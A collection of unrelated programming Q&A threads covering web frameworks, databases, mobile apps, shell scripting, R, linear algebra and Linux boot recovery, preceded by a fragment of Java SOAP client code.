        SoapPrimitive response = callWebServiceMethod(url,
                NAMESPACE, METHOD_NAM, parameters,
                SOAP_ACTION);

        String webServiceResult = response.toString();


text:
Q: best way to have a fault tolerance server we have a laravel project on apache server in dedicated server with 16GB of ram and 4core cpu. our business has about 13000 records on database and many visitors in a day, also we have several task that run in midnight, when we monitor the host, many times in night the server is crashed and down and log shows out of memory, so I think about this and decided to have one more server and load balance between them when main server is crashed dns route to slave server that dont have any special code just a site with minimum requirements.
so which of these approach is good? I get one more robust server for our heavy task?? or set load balancing like such as I say, or have a one more server and move redis and mysql on it separately, how do I have a HA(high available) server?


text:
Q: assign shortcut key to run a script I've written a script to change the brightness of my screen.
It's useful when I am working on text mode and shortcut keys of my keyboard to change brightness doesn't work.
Is it possible to run this script, just by pressing some keys on the keyboard as shortcut, for example Ctrl+Alt+F7?

A: If you're working in a terminal and don't have X running, a bit of a hack is to alias your script to a single character in your shell's configuration. Example for bash:
alias b='~/bin/brightness-script down'
alias B='~/bin/brightness-script up'

Disadvantage: you have to press Enter each time. Alternatively, you could do b;b;b;b;b[Enter] to step the brightness down 5 times.

A: Try xbindkeys.
Your ~/.xbindkeysrc would look something like
"myscript"
    Control + Alt + F7


text:
Q: Normal user/token user authentication In my Django project I need two type of users:
- users authenticated with login/password (django.contrib.auth.models.User)
- users authenticated with token (Django REST Framework)
What's more I wish I could keep both of them in one table and display only "User" page in admin panel.
What would you suggest will be the best solution?

A: The token from DRF doesn't create a new User table it just creates a Token table with a one-to-one relationship with the existing User table, so you'll always have a single table (admin page) "User"
You decide what users should have a Token. for example:
# create API Token
regular_user = User.objects.create_user(....)

api_user = User.objects.create_user(...)
Token.objects.create(user=api_user)

now regular_user can only access using login/password (since he doesn't have a Token) and api_user can do both
Hope this helps


text:
Q: How to pass the information from function in the Express get API in MEAN Stack Here I have a function hsResponse which is as below and in the console.log I am getting the proper body response when I run this standalone, but now I wanted call inside the app.get() method and I wanted to put the response of hsResponse to the app.get() API response.
After running the API I wanted to get the body (the value which is printed in the console.log) of hsResponse instead of Root API.
How can I achieve this?
var hsResponse = request({
    proxy: proxyUrl,
    url: request_data.url,
    headers: request_data.headers,
    method: request_data.method,
    form: oauth.authorize(request_data)
}, function (error, response, body) {
    console.log(body);
});

app.get('', (req, res) => {
    res.send('Root API');
});

A: You can just put the code inside:
app.get('', (req, res) => {

    var hsResponse = request({
        proxy: proxyUrl,
        url: request_data.url,
        headers: request_data.headers,
        method: request_data.method,
        form: oauth.authorize(request_data)
    }, function (error, response, body) {
        res.send(body); //<-- send hsResponse response body back to your API consumer
    });

});

A: Why not use a function with a callback passed in parameter to handle the request result:
var hsResponse = function (done) {
    // done is a function, it will be called when the request finished
    request({
        proxy: proxyUrl,
        url: request_data.url,
        headers: request_data.headers,
        method: request_data.method,
        form: oauth.authorize(request_data)
    }, function (error, response, body) {

        if (error) return done(error);

        done(null, body);
    });

}

app.get('', (req, res) => {

    hsResponse( function (err, body) {
        if (err) throw err;

        // get body here

        res.send('Root API');
    } );

});

Edit the code above buffers up the entire api response into memory (body) for every request before writing the result back to clients, and it could start eating a lot of memory if there were many requests at the same time. Streams, by using streams we could read one chunk at a time from the api response, store it into memory and send it back to the client:
app.get('', (req, res) => {

    request({
        proxy: proxyUrl,
        url: request_data.url,
        headers: request_data.headers,
        method: request_data.method,
        form: oauth.authorize(request_data)
    }).pipe(res);

});

Reference: stream handbook


text:
Q: Angular js application shows blank white page on ios browsers, safari and chrome both. Works fine on windows desktop browsers I have one redhat cloud application which front-end  developed in Angular.js 1.5.5, it works perfectly fine on windows desktop and android device browsers where only on ios mobile browsers chrome or safari it shows blank white page. When I put sample loading text under body tag I was able to see that but nothing rendered except loadig text. To serve static content  it has Node-Hapi.js server which has just basic stuff and static folder path.
Below is application url -
http://restperformance-gunjankrs.rhcloud.com/

A: Change code line
let myApp = angular.module('myApp', ['blockUI']);

to
var myApp = angular.module('myApp', ['blockUI']);

as 'let' is not supported in strict mode on iOS and Safari.
var myApp = angular.module('myApp', ['blockUI']);

Also change those:
var requestObj = $scope.serviceData;
    var req = {


text:
Q: Should I compile the latest stable linux kernel (3.5.4) for CentOS? I am tasked with compiling a newer version of the Linux kernel that what is currently running on this CentOS 6.3 system. My instructions were to get a new kernel from kernel.org, but I was told that it didn't necessarily have to be the very latest stable kernel. I am going to have to work and code on this machine for the next year so I would prefer to have the latest version if possible. My question is this: If I have the choice between installing the 3.5.4 Linux kernel, or an older one say 2.6.32 should I expect more difficulty in getting the newest kernel to work correctly and reliably with CentOS? Or should I expect backwards compatibility in general, in which case I think it's worth it to try the newest kernel.
I have never compiled a linux kernel for a distribution and I do not know how big of a deal it will be if I mess up by trying to install a kernel that is not able to be supported by CentOS.

A: There are other parts of CentOS that require the current CentOS kernel to function properly.  One such program is the libvirt/KVM combination.  There are others.  If you take a look at the concept of backporting you will see that the distribution is designed to be secure and features are backported into the current kernel:
https://access.redhat.com/security/updates/backporting/


text:
Q: highchart - stretch representation on full width - xaxis behavior I'm generating a stacked chart dynamically (area type). All works perfectly but I'd like to stretch my chart to external margins for starting values and ending values (here 2009 and 2013).
I can see this is relative to xaxis settings. If I remove that instruction from my script, margins are ok but xaxis legend is missing :
xAxis: {
                categories: input['dates'].reverse()
            },

The situation :

The wanted result - but xaxis legend is missing :

It should probably be simple, but I'm not able to find it now. Thanks for your help !

A: You can define extremes for the x-axis. For example:
  xAxis: {
    min: 0.5,
    max: 1.5,
    ...
  }

Live demo: http://jsfiddle.net/BlackLabel/e7jpcvmb/
API Reference: https://api.highcharts.com/highcharts/xAxis


text:
Q: Best approach to obtain current user's groups in Swift for macOS What is the best approach to obtaining the current user's groups in Swift for macOS?
I have come across NSUserName() for obtaining the current user's username, but based on searching and finding absolutely nothing online, I'm under the impression that such a function doesn't exist in regards to user groups.
I'm assuming I will have to leverage something outside of Swift. If that is the case, any suggestions on what I should be leveraging?

A: As a last resort you could run a terminal command from swift and read the output. See this post
And to get the user group have a look at this
import Foundation

func shell(_ command: String) -> String {
    let task = Process()
    let pipe = Pipe()

    task.standardOutput = pipe
    task.standardError = pipe
    task.arguments = ["-c", command]
    task.launchPath = "/bin/zsh"
    task.launch()

    let data = pipe.fileHandleForReading.readDataToEndOfFile()
    let output = String(data: data, encoding: .utf8)!

    return output
}

// Example usage:
shell("id")

Output of 'id':

uid=534(galuga) gid=20(staff) groups=20(staff)


text:
Q: Firebase: get pathname after redirect I want to create a website which will work on any pathname, like domain.com/abc, domain.com/xyz and so on.
But I want to serve from home page only. The content will be generated dynamically.
I think it is possible using firebase.json file, but how do I do that?
I have tried redirect, but that didn't work as pathname wasn't preserved.

A: This should be configured by default, but here you go:
"hosting": {
  // ...

  // Add the "rewrites" attribute within "hosting"
  "rewrites": [ {
    // Serves index.html for requests to files or directories that do not exist
    "source": "**",
    "destination": "/index.html"
  } ]
}

The appropriate section in the documentation can be found here.
This (rewrites) will serve content from the specified destination but not redirect to another URL.


text:
Q: Broadcast receiver popup message in android In my application i using a broadcastreceiver to receive a incoming call and shown a some details to user.  It works fine, but when i opened the application and incoming call is received, it shows at top of application, not the top of incoming call screen. How to solve this issue ?
thanks in advance
Broadcast Receiver
      public void onReceive(final Context context, final Intent intent) {                                         // 1
            String state = intent.getStringExtra(TelephonyManager.EXTRA_STATE);                         // 2
            if (TelephonyManager.EXTRA_STATE_RINGING.equals(state)) {                                   // 3
                String incomingNumber = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER);  // 4
                new Handler().postDelayed(new Runnable() {
                    @Override
                    public void run() {
                        Intent i = new Intent(context, Test1.class);
                        i.putExtras(intent);
                        i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                        i.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
                        context.startActivity(i);
                    }
                }, 2000);
            }
        }

Message Showing Activity
    public class Test1 extends Activity {

    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL);
        requestWindowFeature(Window.FEATURE_NO_TITLE);

        setContentView(R.layout.popup);

        WindowManager.LayoutParams wmlp = getWindow().getAttributes();
        wmlp.gravity = Gravity.BOTTOM | Gravity.LEFT;
        String number = getIntent().getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER);

        TextView tv1 = (TextView)findViewById(R.id.tv1);
        tv1.setText(number);

        TextView tv2 = (TextView)findViewById(R.id.tv2);
        tv2.setText(MyApp.mDbh.check(number));

        new Handler().postDelayed(new Runnable(){
            public void run() {
                finish();
            }
        }, 10 *1000);
    }
    }


text:
Q: Roll apply to return moving average I have a Data vector below and I'd like to calculate a 2 period moving average like this given that there are NAs in the data. So the results I am looking for are:
Data    2 period moving average
    NA
    1   1
    2   1.5
    3   2.5
    4   3.5
    5   4.5
    6   5.5
    7   6.5
    8   7.5
    9   8.5
    10  9.5
    NA   10

in r I as looking to use roll apply but I am not getting the right results:
z <- c(NA,seq(1,10,1),NA)
z
rollapply(z, 2, mean, na.rm = TRUE, fill = list(NA, NULL, NA))
[1]  1.0  1.5  2.5  3.5  4.5  5.5  6.5  7.5  8.5  9.5 10.0   NA

There should only be 1 NA in the result and it should be the first element because you cannot do a two period average with 1 element but the results above show the NA as the last element
My results should be:
NA
1
1.5
2.5
3.5
4.5
5.5
6.5
7.5
8.5
9.5
10

A: We can use roll_mean from library(RcppRoll)
library(RcppRoll)
roll_mean(z,2, na.rm=TRUE)
#[1]  1.0  1.5  2.5  3.5  4.5  5.5  6.5  7.5  8.5  9.5 10.0

Or if we are using rollapply from library(zoo), use mean
library(zoo)
rollapply(z, 2, mean, na.rm=TRUE)
#[1]  1.0  1.5  2.5  3.5  4.5  5.5  6.5  7.5  8.5  9.5 10.0

Update
If we wanted to have NA as the first element, we can use the fill argument along with align.
roll_mean(z,2, na.rm=TRUE, fill=NA, align='right')
#[1]   NA  1.0  1.5  2.5  3.5  4.5  5.5  6.5  7.5  8.5  9.5 10.0

Or using rollapply
rollapply(z, 2, mean, na.rm=TRUE, fill=NA, align='right')
#[1]   NA  1.0  1.5  2.5  3.5  4.5  5.5  6.5  7.5  8.5  9.5 10.0


text:
Q: What should taphold or click-hold do by default? This question is not specific to language/framework/platform.
I want to know (and confirm), what should happen (by default) if a user taps and holds (or clicks and hold).
This is more about basic usability and user experience.
What would a user expect to happen if the user taps(or click) and hold.
For some clarification I did read this:
https://msdn.microsoft.com/library/windows/apps/br208928

A: For myself I would expect additional actions or a contextual menu.
This comment on the User Experience Stack Exchange sums it up perfectly, which is where you may find more relevant answers for this topic.

The press-and-hold (or long press) gesture on a mobile devices mimic the secondary button press on a computer mouse.
Source - https://ux.stackexchange.com/a/24465/44188


text:
Q: Angular 8 and setting observable inside subscription In the first component, I have a variable this.products that is a result of a subscription to an observable(s). Since getting this variable's value involves a lot of swithcMap-ing and similar stuff, I don't want to repeat all the convoluted logic in the second component, where I need this result as well (and not only in html template). Is it ok to do the following for this purpose? It works fine, but I have never seen such a pattern before and was wondering if something might be wrong with it.
a) First component
this.getProducts().lotsOfSwitchMapping
    .subscribe((products) =>
        {this.products = products;
        this.setNiceItems.next(products)});

b) Second component
this.getNiceItems()
    .subscribe(items => this.items = items);

So this.items and this.products are the same.

A: This is completely fine and a common pattern in software engineering simply known as DRY (dont repeat yourself). To be more Angular specific you should definitely outsource your logic into a service and from there on out just subscribe to the observable in the service from your components such that you have some pattern like:
this.myItemsService
  .itemsChanged()      // where this returns the observable with all your switch mappings
  .subscribe(items => this.items = items);

A: As others have said, using a service is the recommended approach for all of your switchMaping.
Here is an example from one of my services:
In a service
  productsWithCategory$ = combineLatest([
    this.products$,
    this.productCategoryService.productCategories$
  ]).pipe(
    map(([products, categories]) =>
      products.map(product => ({
        ...product,
        price: product.price * 1.5,
        category: categories.find(c => product.categoryId === c.id).name,
        searchKey: [product.productName]
      }) as Product)
    ),
    shareReplay(1)
  );

Each component can then subscribe to this Observable. And since it uses shareReplay(1), each subscriber will get the same emitted items.
In my code, I use asyncPipe in both of my components to do the subscribe/unsubscribe automatically.
I have example code here: https://github.com/DeborahK/Angular-RxJS
This video may also be helpful: https://www.youtube.com/watch?v=Z76QlSpYcck
Hope this helps.

A: The many switch maps are kind of too much business logic in a component. I recommend to do this switchmapping in the service and you can use that service method in both components.
// service
public getNiceProducts(): Observable<Products[]> {
  return this.getProducts().pipe(
    // lots of switchMapping
  );
}


text:
Q: Hosting on PostgreSQL 9.6 for windows 32 bit From many days i'm trying to set the hosting on my postgreSQL. I try many solution but no one works. The version of my postgres is 9.6 for windows 32 bit with pgAdmin 4.
I've set in my pg_hba.conf with many type of option but non one work. Now it looks like this.
# IPv4 local connections:
host    all             all             127.0.0.1/32            @authmethodhost@
host    all             all             0.0.0.0/0               @authmethodhost@
# IPv6 local connections:
host    all             all             ::1/128                 @authmethodhost@
I've tried md5, trust.

the postgresql.conf is already set like:
listen_addresses = '*'

I don't know how I can obtain the postgresql hosting (the server work right in local host, the port is right set, the driver is installed).
FATAL: no entry in pg_hba.conf for the guest "MY.IP.AD.DRS",
user "myadmin", "mydatabase" database, SSL is not enabled

Thanks.


text:
Q: How to make a simple fetch from relationship entities? Swift I made two relationship entities in Xcode, I use the Swift. I made a simple relationship in Core Data.

Company's code
import Foundation
import CoreData

    @objc(Company)
    class Company: NSManagedObject {

        @NSManaged var nameCompany: String
        @NSManaged var additional: NSSet

    }

The additional's code
import Foundation
import CoreData

@objc(Additional)
class Additional: NSManagedObject {

    @NSManaged var acitvityCompany: String
    @NSManaged var founded: String
    @NSManaged var company: Company

}

I wrote a following code which adds data into entities. It works.
       @IBAction func saveData(sender: UIBarButtonItem) {
        var companyEntity = NSEntityDescription.insertNewObjectForEntityForName("Company", inManagedObjectContext: managedObjectContext) as! NSManagedObject
        var additionalEntity = NSEntityDescription.insertNewObjectForEntityForName("Additional", inManagedObjectContext: managedObjectContext) as! NSManagedObject

        companyEntity.setValue(nameCompanyTextField.text, forKey: "nameCompany")

        additionalEntity.setValue(activityTextField.text, forKey: "acitvityCompany")
        additionalEntity.setValue(foundedTextField.text, forKey: "founded")

        companyEntity.setValue(NSSet(object: additionalEntity), forKey: "additional")

        managedObjectContext.save(nil)

        var storyboard = UIStoryboard(name: "Main", bundle: NSBundle.mainBundle())
        var navi = storyboard.instantiateViewControllerWithIdentifier("navi") as! UINavigationController
        self.presentViewController(navi, animated: true, completion: nil)

//        println("company \(companyEntity)")
//        println("additional \(additionalEntity)")
    }

When I move to UITableViewController which shows data from entities. If I fetch data from Additional entity I get an error. CoreData: FATAL ERROR: The persistent cache of section information does not match the current configuration.  You have illegally mutated the NSFetchedResultsController's fetch request, its predicate, or its sort descriptor without either disabling caching or using +deleteCacheWithName:
If I fetch data only from Company entity it works good.
My UITableViewController
    override func viewDidLoad() {
    super.viewDidLoad()
    self.definesPresentationContext = true
    fetchedResultsController = NSFetchedResultsController(fetchRequest: fetchRequest(), managedObjectContext: managedObjectContext, sectionNameKeyPath: "nameCompany", cacheName: "nameCompany")
    fetchedResultsController.delegate = self
    fetchedResultsController.performFetch(nil)

    fetchedResultsController2 = NSFetchedResultsController(fetchRequest: fetchRequest2(), managedObjectContext: managedObjectContext, sectionNameKeyPath: "company", cacheName: "company")
    fetchedResultsController2.delegate = self
    fetchedResultsController2.performFetch(nil)
}

override func viewDidAppear(animated: Bool) {
    super.viewDidAppear(animated)
    self.tableView.reloadData()
}

// MARK: - var and let
var managedObjectContext = (UIApplication.sharedApplication().delegate as! AppDelegate).managedObjectContext!

// MARK: - fetchedResultsController
var fetchedResultsController: NSFetchedResultsController!
var fetchedResultsController2: NSFetchedResultsController!

func fetchRequest() -> NSFetchRequest {
    let fetchRequest = NSFetchRequest(entityName: "Company")
    let sortDescriptor = NSSortDescriptor(key: "nameCompany", ascending: true)
    fetchRequest.fetchBatchSize = 50
    fetchRequest.predicate = nil
    fetchRequest.sortDescriptors = [sortDescriptor]
    return fetchRequest
}

func fetchRequest2() -> NSFetchRequest {
    let fetchRequest = NSFetchRequest(entityName: "Additional")
    let sortDescriptor = NSSortDescriptor(key: "company", ascending: true)
    fetchRequest.fetchBatchSize = 50
    fetchRequest.predicate = nil
    fetchRequest.sortDescriptors = [sortDescriptor]
    return fetchRequest
}

 override func numberOfSectionsInTableView(tableView: UITableView) -> Int {
    return fetchedResultsController.sections?.count ?? 0
}

override func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
    return fetchedResultsController.sections?[section].numberOfObjects ?? 0
}

override func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
    let cell = tableView.dequeueReusableCellWithIdentifier("cell", forIndexPath: indexPath) as! UITableViewCell

    if var dataForCell = fetchedResultsController.objectAtIndexPath(indexPath) as? Company {
        var additionalCell = fetchedResultsController2.objectAtIndexPath(indexPath) as! Additional
        cell.textLabel?.text = dataForCell.nameCompany
        cell.detailTextLabel?.text = "\(additionalCell.acitvityCompany) - \(additionalCell.founded)"
    }

    return cell
}

A: I understood how to make it.
var currentDate: NSDate!

    // MARK: - NSFetchedResultsController
    var fetchedResultsController: NSFetchedResultsController!

    func fetchRequest() -> NSFetchRequest {
        let fetchRequest = NSFetchRequest(entityName: "Car")
        let sortDescriptor = NSSortDescriptor(key: "personCar", ascending: true)
        fetchRequest.predicate = NSPredicate(format: "personRelationship.datePerson contains[c] %@", currentDate)
        fetchRequest.fetchBatchSize = 50
        fetchRequest.fetchLimit = 50
        fetchRequest.sortDescriptors = [sortDescriptor]
        println(fetchRequest)
        return fetchRequest
    }


text:
Q: How to use $http post data to ssl enabled server in angularjs     $http.post(myurl, myreq).success(function(apiReply) {
        if (! checkApiResponse(apiReply)){
            console.log("failed to run action with error: " + apiReply.retcode + " " + apiReply.retbody)
            return false
        } else {
            callback(apiReply)
        }
    }).error(function(data, status) {
        var errmsg = "handle api request failed with status: "
        errmsg += status + ", error response: " + data
        console.log(errmsg)
        ons.notification.alert({
            //title: "错误",
            //message: '连接服务器失败',
            title: "提示",
            message: "请检查您的网络环境",
            buttonLabel: ['确认']
        });
    });
}

here is my way to post data ,when using http url,it works fine,but doesn't work when i use https url, what should i do?


text:
Q: Why is an environment variable value defined inside a command block not visible inside the block? I am running the following Windows batch script a.bat on Windows Server 2016:
@ECHO OFF

IF NOT DEFINED XXX_ROOT (
    SET "XXX_ROOT=D:\Programs\XXX"
    SET XXX_ROOT
    ECHO."XXX_ROOT %XXX_ROOT%"
)

IF EXIST "%XXX_ROOT%\" (
    ECHO."Found the dir %XXX_ROOT%"
) ELSE (
    ECHO."ERROR:XXX_ROOT %XXX_ROOT% is not a directory"
    EXIT /B 13
)

SET XXX_ROOT

The following is a fresh session of the CMD shell:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

First, note that the directory D:\Programs\XXX exists on disk:
18:42:43.54 D:\src\trunk> dir D:\Programs\XXX
 Volume in drive D is UserProfile
 Volume Serial Number is A4EF-EDF6

 Directory of D:\Programs\XXX

05/14/2019  06:42 PM    <DIR>          .
05/14/2019  06:42 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)  40,632,406,016 bytes free

Now, note that there are no environment variables starting with XXX:
18:42:52.58 D:\src\trunk> set XXX
Environment variable XXX not defined

We execute the script and get the following output:
18:44:01.07 D:\src\trunk> call Scripts\a.bat
XXX_ROOT=D:\Programs\XXX
"XXX_ROOT "
"Found the dir D:\Programs\XXX"
XXX_ROOT=D:\Programs\XXX

After the script executed, my environment has been updated with the new variables XXX_ROOT:
18:44:10.55 D:\src\trunk> set XXX
XXX_ROOT=D:\Programs\XXX

Now the question: The script clearly sets XXX_ROOT and is able to correctly resolve the condition IF EXIST "%XXX_ROOT%\", and nevertheless the operator to print its value after the original set shows an inconsistency:

*

*SET XXX_ROOT seems to display XXX_ROOT=D:\Programs\XXX

*but ECHO."XXX_ROOT %XXX_ROOT%" displays "XXX_ROOT " as if the variable %XXX_ROOT% has empty string value inside the script.

Why does this happen, and how do I access the correct value of %XXX_ROOT% inside the script?


text:
Q: Multiple forms on a single page cakephp with one submit So I want to do something like this:
for($i=1; $i <= 30; $i++)
    echo $form->Create('Sales');
    echo $form->input('price');
    echo $form->input ......

endfor;
echo->$form('submit');

And what should get sent to a controller is an array of 30 arrays all of type sales.
Currently only getting one array back--data from the last form.
So on every iteration on the loop it is overwriting the previous form.

A: You should not repeat FORM  ,just repeat TEXT FIELD
like below
    echo $form->Create('Sales');
    for($i=1; $i = 30; $i++)
      echo $form->input('Sales.'$i'.price');
      echo $form->input ......
    endfor;
    echo->$form('submit');

A: To post data, in SalesController
public function add(){
    ...
    $this->Sales->saveMany($this->request->data);
    ...


text:
Q: what is the rank of the multiplication transformation $A$ if $AX=PX$ and $P$ has rank $m$? Consider the vector space consisting of all linear transformations on a vector
space $V$, and let $A$ be the (left) multiplication transformation that sends each transformation $X$ on $V$ onto $PX$, where $P$ is some prescribed transformation on $V$.
If $P$ has rank $m$, what is the rank of $A$?
$Source$: Halmos Finite demensional vector space, Section 50 Rank and nullity, exercise #3
Now from the question, I think that means $AX=PX$.
If $P$ has rank $m$, then $A$ must have the same rank, $m$.
Am I right? I am quite sure I have miss something. I don't think Halmos would ask such a simple question.
Please can you help, thank you very much.

A: You're misunderstanding the question: we start with a vector space $V$. Then, we consider the vector space of all linear transformations from $V$ to $V$. To be clear, let's give this its own name, let's say $W$. (This space is normally denoted $\mathrm{End}(V)$, because it consists of endomorphisms of $V$.)
Again, just to be clear, each element of $W$ is a different linear transformation from $V$ to $V$.
Now, having chosen some specific $P:V\to V$, we consider a linear transformation $A:W\to W$. The rule defining $A$ is that when we input a linear transformation $X:V\to V$, we output the new linear transformation $PX:V\to V$, that is, the composition of the maps
$$V\xrightarrow{\;\;X\;\;}V\xrightarrow{\;\;P\;\;}V\\
\xrightarrow[PX]{\qquad\qquad\qquad}$$
The question is asking you what the rank of the linear transformation $A:W\to W$ is. To start with, you should understand that $\dim(W)=\dim(V)^2$ (think about the dimension of a space of $n\times n$ matrices).


text:
Q: How to search with pdf.js? I'm displaying a pdf file with pdf.js in my Ionic App. I do not use viewer.js and viewer.html, because I need a totally different layout. Now I have a custom search bar and I want to highlight terms in my pdf file. Is there a function I can invoke to do this?
I'm rendering the file like this:
$scope.renderPages = function(pdfDoc) {
    $scope.pdfFile = pdfDoc;
    for(var num = 1; num <= pdfDoc.numPages; num++){
        pdfDoc.getPage(num).then($scope.renderPage);
    }
}

$scope.renderPage = function(page) {
    var viewport = page.getViewport(1);
    scale = document.getElementById('viewer').clientWidth / viewport.width;
    viewport = page.getViewport(scale);

    var canvas = document.createElement('canvas');
    var ctx = canvas.getContext('2d');
    var renderContext = {
        canvasContext: ctx,
        viewport: viewport
    };

    canvas.height = viewport.height;
    canvas.width = viewport.width;

    var canvasContainer = document.getElementById('viewer');
    canvasContainer.appendChild(canvas);

    page.render(renderContext);
}

HTML:

A: This is an old thread however I think people should know how the package works now. I have managed to make it work the following way. I was using an iframe to display the pdf.
const iframeDocument = document.getElementById('pdf-js-viewer').contentWindow;
let searchText = "TheTextYouWantoToHighlight";

iframeDocument.PDFViewerApplication.pdfViewer.findController.executeCommand('find', {
    caseSensitive: false,
    findPrevious: undefined,
    highlightAll: true,
    phraseSearch: true,
    query: searchText
})

With the latest version of pdfjs, this works but gives error in console to use dispatch event. This code will remove that error and works as expected.
const iframeDocument = document.getElementById('pdf-js-viewer').contentWindow;
let searchText = "TheTextYouWantoToHighlight";
iframeDocument.PDFViewerApplication.eventBus.dispatch('find', {
    caseSensitive: false,
    findPrevious: undefined,
    highlightAll: true,
    phraseSearch: true,
    query: searchText
});

A: Now I found the solution!
var container = document.getElementById('viewerContainer');
var viewer = document.getElementById('viewer');

var pdfViewer = new PDFViewer({
   container: container,
   viewer: viewer
});

$scope.pdfFindController = new PDFFindController({
   pdfViewer: pdfViewer
);

pdfViewer.setFindController($scope.pdfFindController);

container.addEventListener('pagesinit', function () {
    pdfViewer.currentScaleValue = 'page-width';
});

PDFJS.getDocument(MY_PATH_TO_THE_PDF).then(function (pdfDocument) {
    pdfViewer.setDocument(pdfDocument);
});

Search for terms:
$scope.pdfFindController.executeCommand('find', {
    caseSensitive: false,
    findPrevious: undefined,
    highlightAll: true,
    phraseSearch: true,
    query: "myQuery"
});

And I had to import the viewer.js.
The code that I posted in the question is not needed anymore. The PDFViewer renders the pdf.


text:
Q: Error on second datagrid..multiple initializers for dataprovider I have a main datagrid, and want to launch a window with another datagrid in it, bringing in a different dataprovider.  However, when I do this it acts funnny, brings in some default datagrid information and then gives me an error when I try to set the dataprovider:
"multiple initializers for property dataprovider. (note: 'dataprovider' is the default property of mx.controls.datagrid)"
ANyone know what this means, or what I could be doing wrong?

A: doh.. was just missing the  wrapper on my datagrid.  Weird error though, wish it would have just said "your missing ...".


text:
Q: In java, Vector and Collections.synchronizedList are all synchronized, what's the difference? If multiple threads access vector, vector will ensure that only one thread can access the vector at the same time. SynchronizedList is same.
So what's the difference?
How to choose in some synchronous situation?

A: The main reason for this redundancy is backward compatibility with java code developed for old versions of Java.
If I remember correctly before Java 1.2 Collections were a separate library and were not part of standard JDK/JRE.
At that point the only list like data structure supplied by SDK was Vector. In Collections developers improved that Vector structure in many ways. Particularly, they removed synchronization as it proved to be unnecessary in most of the cases.
Still they wanted to allow an easy way to create a synchronized version of list like collection. Thus they introduced SynchronizedList.
The main difference now between Vector and SynchronizedList is the way you use it. By calling Collections.synchronizedList you create a wrapper around your current List implementation, which means you don't copy data to another data structure and you keep underlying structure intact. For instance, if you want LinkedList structure behind it as opposed to ArrayList.
In case of a Vector, you actually copy the data to the new list like structure Vector. So it's less efficient in case you had a list before, but if you didn't have any data structure before, then you may want to use Vector as it doesn't add method wrapping cost to every method invocation. Another disadvantage of a vector is that you can't keep alternative underlying structure (such as LinkedList), you always use what's been implemented in the Vector itself.

A: Java Vectors are syncronized by default. You don't have to synchronize is explicitly. Even if you do so there is no extra benefit
Use of Java Vector is highly discouraged and instead Syncronized "ArrayList" is suggested. There are clearly benefits of the same.
Also please refer Are Vectors Obsolete ?

A: Vector is a synchronized List implementation and Collections.synchronziedList is a method of Collections utility class that creates a synchronized proxy for any List implementation


text:
Q: why this mysql event can't get run? mysql> show create event online_event;
+--------------+-----------------------------------------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
| Event        | sql_mode                                | time_zone | Create Event                                                                                | character_set_client | collation_connection | Database Collation |
+--------------+-----------------------------------------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
| online_event | STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER | SYSTEM    | CREATE EVENT `online_event` ON SCHEDULE EVERY 1 SECOND STARTS '2009-06-03 06:54:16' ON COMPLETION NOT PRESERVE ENABLE DO DELETE FROM online where webserver_id is null and jabber_server_id is null | utf8                 | utf8_general_ci      | utf8_general_ci    |
+--------------+-----------------------------------------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
1 row in set (0.00 sec)

mysql>

It's created this way:
CREATE EVENT online_event
    ON SCHEDULE EVERY 1 SECOND
    DO
      DELETE FROM online where webserver_id is null and jabber_server_id is null;

and after quite a period,I found:
mysql> select *from online;
+----+------------+---------------------+--------------+------------------+
| id | account_id | since               | webserver_id | jabber_server_id |
+----+------------+---------------------+--------------+------------------+
|  1 |         30 | 2009-06-03 06:24:38 |         NULL |             NULL |
+----+------------+---------------------+--------------+------------------+
1 row in set (0.00 sec)

So I find that the event is not run at all.

A: Is your event scheduler running?  Check with SHOW PROCESSLIST.
If you don't have a process "Daemon" by user "event_scheduler" then it's not running.
Start the event scheduler thus:
SET GLOBAL event_scheduler = ON;

See also http://dev.mysql.com/doc/refman/5.1/en/events-configuration.html

A: First you must check using :
SHOW VARIABLES LIKE 'event_scheduler';

if it's OFF you must run event scheduler using :
SET GLOBAL event_scheduler = ON;

My you must save this variable in your config (my.ini / my.conf) , if you don't  events will not start when mysql restart .
[mysql]
event_scheduler=ON


text:
Q: Identification of SMD needed please
Please can somebody help in Identifying the SMD component...
Thank you
AJN I have added a pic to show where the diode is located (circled in red).
Thanks...

A: Most likely it's 1SS380 from Rohm.


text:
Q: Spring XML use anotations in beans When I compile my XML , I need to generate this 2 properties with this annotations:
@JsonProperty("application_id")
    private String foo;
@JsonProperty("application_no")
private String bar;

How can I mark my XML beans in order to obtain these anotations in my POJO:
 <bean class="com.foo.bar.Test">
        <property name="foo" type="String"/>
        <property name="bar" type="String"/>
    </bean>

I need to inject them via XML Spring , without touching Java,

A:  <property name="defaults" type="java.util.Set<String>">
            <annotations>@com.fasterxml.jackson.annotation.JsonProperty("default")</annotations>
        </property>


text:
Q: Causes of busybox brop At what seemed a random moment (nothing special was happening to my knowledge), all my files where suddenly read-only.
After rebooting, my Linux Mint 20 doesn't start and drops to busybox, with this message:
ACPI BIOS Error (bug): could not resolve symbol [\_SB.PCI0.GFX0.DD02._BCL], AE_NOT_FOUND (20190816/psparse-330)
ACPI Error: Aborting method \_SB.PCIO.PEGO.PEGP.DD02._BCL due to previous error (AE_NOT_FOUND) (20190816/psparse-529)

So, what may cause busybox to start here?
How can I boot on Mint from here?

A: Many solution found indicated that I should do fsck on my boot partition from busybox, which didn't work (hence my question here)
The problem was that I use LVM, so instead of fsck /dev/sda5, I had to do fsck /dev/mint-vg/ and it worked.
